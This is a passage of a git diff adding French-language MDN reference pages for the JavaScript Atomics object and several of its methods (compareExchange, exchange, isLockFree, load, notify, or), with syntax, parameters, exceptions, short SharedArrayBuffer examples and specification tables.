+ <dt><code>typedArray</code></dt>
+ <dd>Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.</dd>
+ <dt><code>index</code></dt>
+ <dd>La position du tableau <code>typedArray</code> à laquelle on veut échanger les valeurs.</dd>
+ <dt><code>valeurAttendue</code></dt>
+ <dd>La valeur avec laquelle on teste l'égalité.</dd>
+ <dt><code>valeurRemplacement</code></dt>
+ <dd>Le nombre qu'on souhaite placer dans le tableau si l'ancienne valeur est égale avec <code>valeurAttendue</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'ancienne valeur présente à <code>typedArray[index]</code>.</p>
+
+<h3 id="Exceptions_levées">Exceptions levées</h3>
+
+<ul>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si le type de <code>typedArray</code> n'est pas un des types entiers autorisés.</li>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si <code>typedArray</code> n'est pas tableau typé partagé.</li>
+ <li>Cette méthode lève {{jsxref("RangeError")}} si <code>index</code> est en dehors des limites de <code>typedArray</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+ta[0] = 7;
+
+Atomics.compareExchange(ta, 0, 7, 12); // renvoie 7, l'ancienne valeur
+Atomics.load(ta, 0);                   // 12</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics.compareexchange', 'Atomics.compareExchange')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Atomics.compareExchange")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("Atomics.exchange()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/exchange/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/exchange/index.html
new file mode 100644
index 0000000000..6c73556862
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/atomics/exchange/index.html
@@ -0,0 +1,84 @@
+---
+title: Atomics.exchange()
+slug: Web/JavaScript/Reference/Objets_globaux/Atomics/exchange
+tags:
+  - Atomics
+  - JavaScript
+  - Mémoire partagée
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/exchange
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Atomics</strong></code><strong><code>.exchange()</code></strong> permet d'enregistrer une valeur à une position donnée d'un tableau et de renvoyer l'ancienne valeur qui était contenue dans le tableau. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/atomics-exchange.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Atomics.exchange(typedArray, index, valeur)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>typedArray</code></dt>
+ <dd>Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.</dd>
+ <dt><code>index</code></dt>
+ <dd>La position dans le tableau <code>typedArray</code> à laquelle on veut placer <code>valeur</code>.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>Le nombre qu'on souhaite échanger.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'ancienne valeur qui était contenue à (<code>typedArray[index]</code>).</p>
+
+<h3 id="Exceptions_levées">Exceptions levées</h3>
+
+<ul>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si le type de <code>typedArray</code> n'est pas un des types entiers autorisés.</li>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si <code>typedArray</code> n'est pas tableau typé partagé.</li>
+ <li>Cette méthode lève {{jsxref("RangeError")}} si <code>index</code> est en dehors des limites de <code>typedArray</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+
+Atomics.exchange(ta, 0, 12);  // renvoie 0, l'ancienne valeur
+Atomics.load(ta, 0);          // 12</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics.exchange', 'Atomics.exchange')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Atomics.exchange")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("Atomics.compareExchange()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/index.html
new file mode 100644
index 0000000000..6ca2de61b4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/atomics/index.html
@@ -0,0 +1,118 @@
+---
+title: Atomics
+slug: Web/JavaScript/Reference/Objets_globaux/Atomics
+tags:
+  - JavaScript
+  - Mémoire partagée
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>Atomics</code></strong> fournit des opérations atomiques sous la forme de méthodes statiques. Celles-ci sont utilisées avec les objets {{jsxref("SharedArrayBuffer")}}.</p>
+
+<p>Les opérations atomiques sont installées sur un module <code>Atomics</code>. À la différence des autres objets globaux, <code>Atomics</code> n'est pas un constructeur. Pour cette raison, il ne peut être utilisé avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new")}} et il ne peut pas être appelé comme une fonction. Les propriétés et les méthodes d'<code>Atomics</code> sont statiques (<code>Atomics</code> fonctionne ainsi comme l'objet {{jsxref("Math")}}).</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Atomics[Symbol.toStringTag]</code></dt>
+ <dd>
+ <p>La valeur de cette propriété vaut <code>"Atomics"</code>.</p>
+ </dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<h3 id="Opérations_atomiques">Opérations atomiques</h3>
+
+<p>Lorsque la mémoire est partagée, plusieurs <em>threads</em> peuvent lire et écrire sur les mêmes données en mémoire. Les opérations atomiques permettent de s'assurer que des valeurs prévisibles sont écrites et lues, que les opérations sont finies avant que la prochaine débute et que les opérations ne sont pas interrompues.</p>
+
+<dl>
+ <dt>{{jsxref("Atomics.add()")}}</dt>
+ <dd>Cette méthode ajoute la valeur fournie à la position indiquée dans le tableau. Elle renvoie l'ancienne valeur qui était à cette position.</dd>
+ <dt>{{jsxref("Atomics.and()")}}</dt>
+ <dd>Cette méthode calcule un ET binaire sur la position indiquée dans le tableau. Elle renvoie l'ancienne valeur qui était à cette position.</dd>
+ <dt>{{jsxref("Atomics.compareExchange()")}}</dt>
+ <dd>Cette méthode stocke la valeur fournie à la position indiquée dans le tableau si elle est égale à une valeur donnée. Elle renvoie l'ancienne valeur.</dd>
+ <dt>{{jsxref("Atomics.exchange()")}}</dt>
+ <dd>Cette méthode stocke la valeur fournie à la position indiquée dans le tableau. Elle renvoie l'ancienne valeur.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Atomics.load()")}}</dt>
+ <dd>Cette méthode renvoie la valeur à la position indiquée dans le tableau.</dd>
+ <dt>{{jsxref("Atomics.or()")}}</dt>
+ <dd>Cette méthode calcule un OU binaire entre la valeur fournie et la position indiquée dans le tableau. Elle renvoie l'ancienne valeur qui était à cette position.</dd>
+ <dt>{{jsxref("Atomics.store()")}}</dt>
+ <dd>Cette méthode stocke une valeur à une position indiquée dans le tableau. Elle renvoie la valeur.</dd>
+ <dt>{{jsxref("Atomics.sub()")}}</dt>
+ <dd>Cette méthode soustrait la valeur fournie à la position indiquée dans le tableau. Elle renvoie l'ancienne valeur qui était contenue à cette position.</dd>
+ <dt>{{jsxref("Atomics.xor()")}}</dt>
+ <dd>Cette méthode calcule un OU exclusif binaire sur une position donnée dans le tableau. Elle renvoie l'ancienne valeur qui était à cette position.</dd>
+</dl>
+
+<h3 id="Attente_et_notification_(wait_et_notify)">Attente et notification (<code>wait</code> et <code>notify</code>)</h3>
+
+<p>Le méthodes <code>wait</code>() et <code>notify()</code> sont basées sur les <em>futex</em> Linux (selon le vocabulaire employé sur Linux où ça signifie « <em>fast user-space mutex</em> » ou encore « mutex rapide pour l'espace utilisateur ») fournissent des outils pour attendre jusqu'à ce qu'une condition donnée soit vérifiée. Généralement ces méthodes sont utilisées pour bloquer des opérations.</p>
+
+<dl>
+ <dt>{{jsxref("Atomics.wait()")}}</dt>
+ <dd>Cette méthode vérifie qu'une position donnée du tableau contient bien une valeur donnée puis dort ou expire. Elle renvoie une des chaînes suivantes <code>"ok"</code>, <code>"not-equal"</code>, <code>"timed-out"</code>. Si l'agent appelant ne permet pas d'attente, cela lèvera une exception <code>Error</code> (la plupart des navigateurs ne permettront pas que <code>futexWait()</code> soit utilisé sur le <em>thread</em> principal du navigateur).</dd>
+ <dt>{{jsxref("Atomics.notify()")}}</dt>
+ <dd>Cette méthode notifient les agents qui attendent dans la file d'attente à une position donnée. Elle renvoie le nombre d'agents notifiés.</dd>
+ <dt>{{jsxref("Atomics.isLockFree()")}}</dt>
+ <dd>Une primitive d'optimisation qui peut être utilisée afin de déterminer s'il faut utiliser des verrous (<em>locks</em>) ou des opérations atomiques. Elle renvoie <code>true</code> si la taille donnée est l'une des propriétés <code>BYTES_PER_ELEMENT</code> des types <code>TypedArray</code> et qu'on peut donc implémenter l'opération de façon atomique plutôt que d'utiliser un verrou.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics-object', 'Atomics')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-atomics-object', 'Atomics')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Atomics")}}</p>
+
+<h3 id="Notes_de_compatibilité">Notes de compatibilité</h3>
+
+<p>Avant Firefox 48 {{geckoRelease(48)}}, les noms les plus récents et la sémantique la plus récente n'étaient pas encore implémentés. Les changements qui ont eu lieu entre la version 46 et la version 48 de Firefox sont :</p>
+
+<ul>
+ <li>Les méthodes <code>Atomics.futexWakeOrRequeue()</code> et <code>Atomics.fence()</code> sont désormais complètement retirées (cf. {{bug(1259544)}} et {{bug(1225028)}}).</li>
+ <li>Les méthodes {{jsxref("Atomics.wait()")}} et  {{jsxref("Atomics.wake()")}} qui étaient nommées <code>Atomics.futexWait()</code> ete <code>Atomics.futexWake()</code> (cf. {{bug(1260910)}}). Les anciens noms seront  définitivement supprimés à partir de la version 49 ({{bug(1262062)}}). <code>Atomics.wake()</code> a été renommé en <code>Atomics.notify()</code> à partir de la version 63.</li>
+ <li>Les propriétés <code>Atomics.OK</code>, <code>Atomics.TIMEDOUT</code>, <code>Atomics.NOTEQUAL</code> ont été retirées. La méthode {{jsxref("Atomics.wait()")}} renvoie désormais les chaînes de caractères <code>"ok"</code>, <code>"timed-out"</code> ou <code>"not-equal"</code> (cf. {{bug(1260835)}}).</li>
+ <li>
+  <p>Le paramètre <code>count</code> de la méthode {{jsxref("Atomics.wake()")}} a été modifié, sa valeur par défaut est désormais <code>+Infinity</code> et non <code>0</code> ({{bug(1253350)}}).</p>
+ </li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li><a href="/fr/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li><a href="https://github.com/lars-t-hansen/parlib-simple">parlib-simple </a>– un bibliothèque simple qui fournit des abstractions pour synchronisers et distribuer des tâches.</li>
+ <li><a href="https://github.com/tc39/ecmascript_sharedmem/blob/master/TUTORIAL.md">La mémoire partagée – un rapide tutoriel</a></li>
+ <li><a href="https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/">A Taste of JavaScript’s New Parallel Primitives – Mozilla Hacks (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/islockfree/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/islockfree/index.html
new file mode 100644
index 0000000000..90fcd68c97
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/atomics/islockfree/index.html
@@ -0,0 +1,74 @@
+---
+title: Atomics.isLockFree()
+slug: Web/JavaScript/Reference/Objets_globaux/Atomics/isLockFree
+tags:
+  - Atomics
+  - JavaScript
+  - Mémoire partagée
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/isLockFree
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Atomics</strong></code><strong><code>.isLockFree()</code></strong> est utilisée afin de déterminer si on doit utiliser des verrous (<em>locks</em>) ou des opérations atomiques. Elle renvoie <code>true</code> si la taille donnée correspond à une des propriétés <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray/BYTES_PER_ELEMENT">BYTES_PER_ELEMENT</a></code> d'un des types <code>TypedArray</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/atomics-islockfree.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Atomics.isLockFree(taille)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>taille</code></dt>
+ <dd>La taille en octets qu'on souhaite vérifier.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{jsxref("Boolean","booléen","",1)}} indiquant si l'opération se déroule sans verrou.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">Atomics.isLockFree(1); // true
+Atomics.isLockFree(2); // true
+Atomics.isLockFree(3); // false
+Atomics.isLockFree(4); // true
+Atomics.isLockFree(5); // false
+Atomics.isLockFree(6); // false
+Atomics.isLockFree(7); // false
+Atomics.isLockFree(8); // true</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics.islockfree', 'Atomics.isLockFree')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Atomics.isLockFree")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/load/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/load/index.html
new file mode 100644
index 0000000000..285abde89f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/atomics/load/index.html
@@ -0,0 +1,82 @@
+---
+title: Atomics.load()
+slug: Web/JavaScript/Reference/Objets_globaux/Atomics/load
+tags:
+  - Atomics
+  - JavaScript
+  - Mémoire partagée
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/load
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Atomics</strong></code><strong><code>.load()</code></strong> renvoie une valeur située à une position donnée du tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/atomics-load.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Atomics.load(typedArray, index)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>typedArray</code></dt>
+ <dd>Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.</dd>
+ <dt><code>index</code></dt>
+ <dd>La position du tableau <code>typedArray</code> qu'on souhaite charger.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur à la position indiquée (<code>typedArray[index]</code>).</p>
+
+<h3 id="Exceptions_levées">Exceptions levées</h3>
+
+<ul>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si le type de <code>typedArray</code> n'est pas un des types entiers autorisés.</li>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si <code>typedArray</code> n'est pas tableau typé partagé.</li>
+ <li>Cette méthode lève {{jsxref("RangeError")}} si <code>index</code> est en dehors des limites de <code>typedArray</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+
+Atomics.add(ta, 0, 12);
+Atomics.load(ta, 0); // 12</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics.load', 'Atomics.load')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Atomics.load")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("Atomics.store()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/notify/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/notify/index.html
new file mode 100644
index 0000000000..6c2c3ebc47
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/atomics/notify/index.html
@@ -0,0 +1,94 @@
+---
+title: Atomics.notify()
+slug: Web/JavaScript/Reference/Objets_globaux/Atomics/notify
+tags:
+  - Atomics
+  - JavaScript
+  - Mémoire partagée
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/notify
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Atomics</strong></code><strong><code>.notify()</code></strong> permet de réveiller des agents dormants qui sont dans la file d'attente.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette opération ne fonctionne que sur un tableau typé partagé de type {{jsxref("Int32Array")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Atomics.notify(typedArray, index, count)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>typedArray</code></dt>
+ <dd>Un table typé partagé de type {{jsxref("Int32Array")}}.</dd>
+ <dt><code>index</code></dt>
+ <dd>La position sur le tableau <code>typedArray</code> pour laquelle réveiller les agents.</dd>
+ <dt><code>count</code></dt>
+ <dd>Le nombre d'agents dormants à réveiller.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le nombre d'agents réveillés.</p>
+
+<h3 id="Exceptions_levées">Exceptions levées</h3>
+
+<ul>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si <code>typedArray</code> n'est pas un tableau typé partagé de type{{jsxref("Int32Array")}}.</li>
+ <li>Cette méthode lève {{jsxref("RangeError")}} si <code>index</code> est en dehors des limites de <code>typedArray</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Soit un tableau typé partagé <code>Int32Array</code>:</p>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+var int32 = new Int32Array(sab);
+</pre>
+
+<p>Un <em>thread</em> de lecture est en sommeil et surveille l'emplacement 0 et s'attend à ce que la valeur soit 0. Tant que cette condition est vérifiée, l'exécution n'ira pas plus loin. Lorsque le <em>thread</em> d'écriture a enregistré une nouvelle valeur, le <em>thread</em> de lecture sera réveillé par le <em>thread</em> d'écriture et renverra la nouvelle valeur (123).</p>
+
+<pre class="brush: js">Atomics.wait(int32, 0, 0);
+console.log(int32[0]); // 123</pre>
+
+<p>Un <em>thread</em> d'écriture stocke une nouvelle valeur et notifie le <em>thread</em> de lecture une fois que la valeur a bien été écrite :</p>
+
+<pre class="brush: js">console.log(int32[0]); // 0;
+Atomics.store(int32, 0, 123);
+Atomics.notify(int32, 0, 1);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics.notify', 'Atomics.notify')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Atomics.notify")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("Atomics.wait()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/or/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/or/index.html
new file mode 100644
index 0000000000..fa53f24777
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/atomics/or/index.html
@@ -0,0 +1,130 @@
+---
+title: Atomics.or()
+slug: Web/JavaScript/Reference/Objets_globaux/Atomics/or
+tags:
+  - Atomics
+  - JavaScript
+  - Mémoire partagée
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/or
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>Atomics</strong></code><strong><code>.or()</code></strong> calcule le résultat d'un OU binaire entre une valeur donnée et une valeur du tableau typé et y place le résultat obtenu. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/atomics-or.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Atomics.or(typedArray, index, value)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>typedArray</code></dt>
+ <dd>Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.</dd>
+ <dt><code>index</code></dt>
+ <dd>La position du tableau <code>typedArray</code> sur laquelle calculer le OU binaire.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>Le nombre avec lequel calculer le OU binaire.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'ancienne valeur contenue à l'emplacement du tableau (<code>typedArray[index]</code>).</p>
+
+<h3 id="Exceptions_levées">Exceptions levées</h3>
+
+<ul>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si le type de <code>typedArray</code> n'est pas un des types entiers autorisés.</li>
+ <li>Cette méthode lève {{jsxref("TypeError")}} si <code>typedArray</code> n'est pas tableau typé partagé.</li>
+ <li>Cette méthode lève {{jsxref("RangeError")}} si <code>index</code> est en dehors des limites de <code>typedArray</code>.</li>
+</ul>
+
+<h2 id="Description">Description</h2>
+
+<p>L'opération binaire OU renvoie 1 si <code>a</code> ou <code>b</code> valent 1. La table de vérité de cette opération est :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th><code>a</code></th>
+   <th><code>b</code></th>
+   <th><code>a | b</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Par exemple, un OU binaire appliqué entre 5 et 1 (<code>5 | 1</code>) renvoie <code>0101</code>, ce qui correspond à 5 en notation décimale.</p>
+
+<pre>5  0101
+1  0001
+   ----
+5  0101
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+ta[0] = 2;
+
+Atomics.or(ta, 0, 1); // renvoie 2, l'ancienne valeur
+Atomics.load(ta, 0);  // 3</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics.or', 'Atomics.or')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec 2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Atomics.or")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
